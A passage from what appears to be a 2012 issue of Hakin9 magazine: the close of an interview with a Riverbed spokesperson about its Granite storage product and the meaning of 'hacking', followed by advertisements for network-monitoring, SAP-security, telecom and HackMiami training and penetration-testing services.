Even with that accolade, Riverbed continues to innovate and provide new solutions for problems that IT teams are recognizing. In particular, our recent storage delivery solution – Granite – is revolutionary in that it decouples storage from servers at the branch office layer. This enables full consolidation of servers back to the data centre without compromising performance or security for branch office users.

And as well as being technically innovative, we appreciate the importance of the whole customer experience. This is cemented by our customer support, which has been recognized by J.D. Power and Associates for providing "An Outstanding Customer Service Experience" – one of only two technology companies world-wide to receive this prestigious award.

What do you think about Hakin9 Magazine and its readers?

I think Hackin9 is full of extremely useful content allowing IT professionals not only to be updated on various hacking techniques, but also on how to avoid being an easy target. It is an excellent source of news and updates and contains articles which range from security to hacking methods. The tutorials and "how-tos" online may be downloaded and then studied carefully. It is commendable material, made available to everyone.

What message would you convey to our readers?

The message I wish to convey to your readers is contained in the essence of the definition of a "hacker".

A hacker is not necessarily an unlawful person bent upon causing malicious damage – it can also be someone very special: "Hacking" means to discover, grow, and increase knowledge in areas completely unknown, trying to further knowledge

These days, having knowledge of hacking can enable you to be a step ahead of others. It allows one to "defend" themselves and their systems, in a world now where the "data", understood as bits stored on digital media, can have a huge amount of value and importance – sometimes life-affecting.

Cyberspace ... used and experienced daily by billions of people, in every nation, by children and adults, having unimaginable complexity! Almost like clusters and constellations of binary information.

Keep on hacking guys! And keep increasing your "cyber-audacity".

By Ewelina Nazarczuk

KISS

NETWORK PERFORMANCE PROBLEMS GOODBYE BEFORE THEY SAY HELLO.

What if you could streamline network performance management – no matter how complex your IT infrastructure? You'd have the tools to monitor every component and every application across your WAN, LAN and datacenter. Then you could troubleshoot and solve problems in hours, not days, and deploy IT resources where and when they're needed most. This "what if" can become reality with one introduction. Meet Riverbed.

riverbed®

©2012 Riverbed Technology

Technology accelerating business.

riverbed.com/kiss

XPANDION
TAKE CONTROL OVER ERP

Take control over ERP with Xpandion's complete suite of products

Rapid implementation process | **No SAP® expertise needed** | **Simple web-based control**

Installed externally to SAP and other monitored systems, ProfileTailor Dynamics suite is up and running within days, delivering immediate results alongside ongoing monitoring and alerting support.

Based on Xpandion's unique behavioral-profiling technology, ProfileTailor Dynamics learns actual system consumption, providing maximum security and management efficiency while significantly reducing IT asset management costs.

Request Demo

Optimize SAP licenses

- Save up to 50% in license usage!
- Manage all systems from centralized point
- Save on valuable resources

Enhance SAP security

- Save over 15% on total maintenance fees!
- Achieve 360° real-time view of authorizations
- Detect sensitive activities and react instantly

Control GRC

- Cut GRC expenses by 30-50%!
- Proactively prevent fraud
- Minimize business risk

CLOUD ENABLED | SAP Partner | Gartner 2012 Cool Vendor | SAP® Certified Integration with SAP Applications

SAP® is a registered trademark of SAP AG in Germany and in several other countries.

info@xpandion.com
Tel +1-800-707-5144
www.xpandion.com

Tadiran Telecom

Easy to Communicate

Tadiran Telecom is an innovator and supplier of UC&C solutions for businesses of all sizes, including tier-1 organizations, in various market segments in 41 countries worldwide.

AEONIX – Unified Communications & Collaboration Solution

Aeonix, Tadiran's next generation platform, is a UC&C and Contact center solution that is easy to integrate, easy to operate, and easy to maintain.

www.tadirantele.com

THE DIGITAL UNDERGROUND SURFACES IN SOUTH FLORIDA

Members of HackMiami are experienced security professionals who are on the cutting edge of vulnerability research. They regularly present at local information security group meetings and international hacking conferences around the world and have years of experience working with large corporations, governments, and small businesses.

Live Training

* Digital Forensic Recovery
* Network Infrastructure Attacks
* Wireless Hacking
* Web Application Attacks
* VOiP Attack and Defense
* LAMP Administrator Security
* Modern Crimeware Malware Analysis
* Social Engineering Awareness Training
* Capture the Flag Hacking Tournaments
* And more!

Speaking Engagenments

HackMiami features an array of information security professionals available to speak at your corporate engagement or IT/IS conference on a variety of digital attack and defense concepts. Contact us now to ensure an early booking.

Info@HackMiami.org

Check our website for monthly events.
HackMiami.org

Business Services

HackMiami features an array of information security professionals available to engage in penetration tests and/or vulnerability assessments of small and medium sized businesses, as well as corporate enterprises. HackMiami members have years experience securing network infrastructures and applications for established corporations.

HackMiami is avaiable for:

* Network/Application Vulnerability Assessments
* Network/Application Penetration Tests
* Physical Facility Security Assessments
* Social Engineering Assessments
* On-site Training Seminars
* Capture the Flag Tournament Seminars
* Confernence Events (CTFs, speakers)

hackmiami
hackmiami.org